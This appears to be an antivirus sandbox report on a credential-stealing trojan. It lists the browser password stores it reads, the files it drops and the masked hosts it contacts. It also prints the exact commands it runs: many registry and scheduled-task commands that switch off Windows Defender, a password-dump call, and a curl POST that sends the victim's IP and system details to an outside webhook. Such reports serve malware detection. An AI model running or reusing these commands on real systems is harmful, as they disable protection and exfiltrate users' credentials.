Trojan.Siggen11.59024

Technical Information

Malicious functions

To complicate detection of its presence in the operating system,

blocks execution of the following system utilities:

Windows Defender

Reads files which store third party applications passwords

%APPDATA%\mozilla\firefox\profiles.ini
%LOCALAPPDATA%\google\chrome\user data\default\web data
%LOCALAPPDATA%\google\chrome\user data\default\login data
%APPDATA%\opera software\opera stable\login data

Modifies file system

Creates the following files

%TEMP%\finalres.bat
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
%TEMP%\ip_address.txt
%TEMP%\str
%TEMP%\owo
%TEMP%\wbh
nul
%TEMP%\windowsinfo.txt
%TEMP%\dav.bat
%TEMP%\filed.exe
%TEMP%\curl.exe
%TEMP%\curl-ca-bundle.crt
%TEMP%\extractionsmh.exe
%TEMP%\finalres2.vbs
%TEMP%\finalres.vbs
%TEMP%\newtonsoft.json.dll
%TEMP%\system.drawing.common.dll
%TEMP%\leaf.xnet.dll
%LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
%TEMP%\user_passwords.txt

Deletes the following files

%TEMP%\finalres2.vbs
%TEMP%\finalres.vbs
%TEMP%\ip_address.txt
%TEMP%\windowsinfo.txt
%TEMP%\curl-ca-bundle.crt
%TEMP%\curl.exe

Network activity

TCP

HTTP GET requests

http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt

'cd#.##scordapp.com':443

'gi##ub.com':443

'ra#.####ubusercontent.com':443

'localhost':49179

'localhost':49181

'localhost':49182

'my####rnalip.com':443

'localhost':49184

'localhost':49186

'localhost':49187

'di##ord.com':443

'it####lvehacker.cf':443

UDP

DNS ASK cd#.##scordapp.com
DNS ASK microsoft.com
DNS ASK gi##ub.com
DNS ASK ra#.####ubusercontent.com
DNS ASK my####rnalip.com
DNS ASK di##ord.com
DNS ASK it####lvehacker.cf

Miscellaneous

Creates and executes the following

'<SYSTEM32>\wscript.exe' "%TEMP%\finalres.vbs"
'%TEMP%\curl.exe' "https://myexternalip.com/raw"
'%TEMP%\extractionsmh.exe' /stext "%LOCALAPPDATA%\Temp/user_Passwords.txt"
'%TEMP%\curl.exe' -X POST -H "Content-type: application/json" --data "{\"content\": \"**user**\n```asciidoc\nTime and Date :: Tue 01/19/2021 12:08:57.81\nIP Address :: 95.211.190.199\nWindows Info :: Product Nam...
'%TEMP%\filed.exe' --processStart filed.exe
'<SYSTEM32>\cmd.exe' /c ""%LOCALAPPDATA%\Temp.\finalres.bat" "' (with hidden window)

Executes the following

'<SYSTEM32>\cmd.exe' /c ""%TEMP%\dav.bat" "
'<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
'<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
'<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
'<SYSTEM32>\attrib.exe' -h %TEMP%\ip_address.txt
'<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
'<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
'<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
'<SYSTEM32>\reg.exe' delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
'<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
'<SYSTEM32>\reg.exe' delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
'<SYSTEM32>\reg.exe' delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
'<SYSTEM32>\reg.exe' delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
'<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
'<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
'<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
'<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
'<SYSTEM32>\net.exe' FILE
'<SYSTEM32>\net1.exe' FILE
'<SYSTEM32>\wscript.exe' "%LOCALAPPDATA%\Temp.\finalres2.vbs"
'<SYSTEM32>\reg.exe' delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
'<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
'<SYSTEM32>\cmd.exe' /c ""%LOCALAPPDATA%\Temp.\finalres.bat" "
'<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
'<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
'<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
'<SYSTEM32>\attrib.exe' -h "%TEMP%\WindowsInfo.txt"
'<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
'<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
'<SYSTEM32>\attrib.exe' -h "%TEMP%\wbh"
'<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
'<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
'<SYSTEM32>\attrib.exe' -h "%TEMP%\owo"
'<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
'<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f